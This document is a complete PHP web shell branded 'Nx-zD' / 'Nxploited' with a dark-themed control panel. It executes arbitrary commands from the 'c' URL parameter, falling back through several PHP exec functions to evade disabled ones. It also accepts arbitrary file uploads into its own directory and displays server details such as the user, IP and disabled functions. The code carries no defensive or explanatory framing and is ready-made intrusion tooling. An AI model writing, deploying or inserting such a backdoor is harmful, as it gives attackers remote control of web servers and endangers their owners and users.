<?php
// Nx-zD
$sig = 'Nx-zD';
$msg = '';
$mtype = '';

if (isset($_GET['c'])) {
    header('Content-Type: text/plain; charset=utf-8');
    $cmd = $_GET['c'];
    if (function_exists('system'))        { ob_start(); system($cmd); $out = ob_get_clean(); }
    elseif (function_exists('exec'))      { exec($cmd, $a); $out = implode("\n", $a); }
    elseif (function_exists('shell_exec')){ $out = shell_exec($cmd); }
    elseif (function_exists('passthru'))  { ob_start(); passthru($cmd); $out = ob_get_clean(); }
    elseif (function_exists('popen'))     { $h = popen($cmd, 'r'); $out = stream_get_contents($h); pclose($h); }
    elseif (function_exists('proc_open')) {
        $d = [0 => ['pipe','r'], 1 => ['pipe','w'], 2 => ['pipe','w']];
        $p = proc_open($cmd, $d, $pp); $out = stream_get_contents($pp[1]);
        fclose($pp[0]); fclose($pp[1]); fclose($pp[2]); proc_close($p);
    } else { $out = 'No exec function available'; }
    echo $sig . "\n" . $out;
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $f    = $_FILES['file'];
    $dest = __DIR__ . '/' . basename($f['name']);
    if ($f['error'] !== UPLOAD_ERR_OK) {
        $msg  = 'Upload error code: ' . $f['error'];
        $mtype = 'err';
    } elseif (move_uploaded_file($f['tmp_name'], $dest)) {
        @chmod($dest, 0644);
        $msg  = htmlspecialchars(basename($f['name'])) . ' uploaded';
        $mtype = 'ok';
    } else {
        $msg  = 'Move failed';
        $mtype = 'err';
    }
}

$uname  = php_uname();
$cwd    = getcwd();
$user   = function_exists('posix_getpwuid') ? posix_getpwuid(posix_geteuid())['name'] : get_current_user();
$sapi   = php_sapi_name();
$phpv   = phpversion();
$server = $_SERVER['SERVER_SOFTWARE'] ?? 'N/A';
$ip     = $_SERVER['SERVER_ADDR'] ?? '?';
$disfn  = @ini_get('disable_functions') ?: 'none';
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>Nx-zD</title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{background:#0a0a0a;color:#c8c8c8;font-family:'Cascadia Code','Fira Code','Consolas',monospace;font-size:13px}
.wrap{max-width:860px;margin:20px auto;padding:0 16px}
.hdr{text-align:center;padding:18px 0 10px}
.hdr h1{font-size:1.5rem;color:#e05c5c;font-weight:700;letter-spacing:.08em}
.hdr h1 span{color:#777}
.hdr .sub{color:#444;font-size:.75rem;margin-top:4px}
.info-grid{display:grid;grid-template-columns:1fr 1fr;gap:6px 18px;background:#111;border:1px solid #1e1e1e;border-radius:6px;padding:12px 16px;margin:10px 0}
.info-grid .k{color:#555}.info-grid .v{color:#8c8}
.sep{border:none;border-top:1px solid #1a1a1a;margin:14px 0}
.section{margin:14px 0}
.section h3{color:#888;font-size:.8rem;font-weight:600;margin-bottom:8px;text-transform:uppercase;letter-spacing:.06em}
form.cmd{display:flex;gap:6px;margin-bottom:10px}
form.cmd input{flex:1;background:#111;border:1px solid #222;border-radius:4px;padding:7px 10px;color:#ddd;font-family:inherit;font-size:13px}
form.cmd input:focus{outline:none;border-color:#e05c5c}
form.cmd button{background:#e05c5c;border:none;border-radius:4px;padding:7px 16px;color:#fff;font-weight:600;cursor:pointer;font-size:13px}
form.cmd button:hover{background:#c94b4b}
.out{background:#0e0e0e;border:1px solid #1a1a1a;border-radius:4px;padding:10px 12px;white-space:pre-wrap;word-break:break-all;max-height:340px;overflow-y:auto;color:#9d9;font-size:12px;margin-bottom:14px}
.upload-box{background:#111;border:1px solid #1e1e1e;border-radius:6px;padding:16px;text-align:center}
.upload-box input[type=file]{display:none}
.upload-box label{display:inline-block;background:#1a1a1a;border:1px solid #2a2a2a;border-radius:4px;padding:7px 18px;color:#aaa;cursor:pointer;font-size:.8rem;transition:.15s}
.upload-box label:hover{border-color:#e05c5c;color:#e05c5c}
.upload-box button{margin-top:10px;background:#e05c5c;border:none;border-radius:4px;padding:7px 20px;color:#fff;font-weight:600;cursor:pointer;font-size:.85rem}
.upload-box button:hover{background:#c94b4b}
.msg{margin-top:10px;padding:8px 12px;border-radius:4px;font-size:.8rem}
.ok{background:#0e2e1a;color:#4caf72;border:1px solid #1a4a2a}
.err{background:#2e0e0e;color:#e05c5c;border:1px solid #4a1a1a}
#fname{color:#666;font-size:.75rem;margin-top:6px;min-height:1em}
.footer{text-align:center;color:#2a2a2a;font-size:.65rem;padding:18px 0}
</style>
</head>
<body>
<div class="wrap">
  <div class="hdr">
    <h1><span>Nx</span>-zD</h1>
    <div class="sub">Nxploited</div>
  </div>
  <div class="info-grid">
    <span class="k">System</span><span class="v"><?=htmlspecialchars($uname)?></span>
    <span class="k">User</span><span class="v"><?=htmlspecialchars($user)?></span>
    <span class="k">CWD</span><span class="v"><?=htmlspecialchars($cwd)?></span>
    <span class="k">PHP</span><span class="v"><?=$phpv?> (<?=$sapi?>)</span>
    <span class="k">Server</span><span class="v"><?=htmlspecialchars($server)?></span>
    <span class="k">IP</span><span class="v"><?=$ip?></span>
    <span class="k">Disabled</span><span class="v" style="font-size:11px"><?=htmlspecialchars(substr($disfn,0,120))?></span>
  </div>
  <hr class="sep">
  <div class="section">
    <h3>Command</h3>
    <form class="cmd" method="get">
      <input type="text" name="c" placeholder="id / whoami / uname -a" autocomplete="off" autofocus>
      <button type="submit">Run</button>
    </form>
    <?php if(isset($_GET['c'])): ?>
    <div class="out"><?php
      $cmd = $_GET['c'];
      if (function_exists('system'))        { ob_start(); system($cmd); echo ob_get_clean(); }
      elseif (function_exists('exec'))      { exec($cmd, $a); echo implode("\n", $a); }
      elseif (function_exists('shell_exec')){ echo shell_exec($cmd); }
      elseif (function_exists('passthru'))  { ob_start(); passthru($cmd); echo ob_get_clean(); }
      else { echo 'No exec function'; }
    ?></div>
    <?php endif; ?>
  </div>
  <hr class="sep">
  <div class="section">
    <h3>File Upload</h3>
    <div class="upload-box">
      <form method="post" enctype="multipart/form-data">
        <label for="f">Select File</label>
        <input type="file" name="file" id="f" onchange="document.getElementById('fname').textContent=this.files[0]?this.files[0].name:''">
        <div id="fname"></div>
        <button type="submit">Upload</button>
      </form>
      <?php if($msg): ?>
      <div class="msg <?=$mtype?>"><?=$msg?></div>
      <?php endif; ?>
    </div>
  </div>
  <div class="footer"><?=$sig?></div>
</div>
</body>
</html>
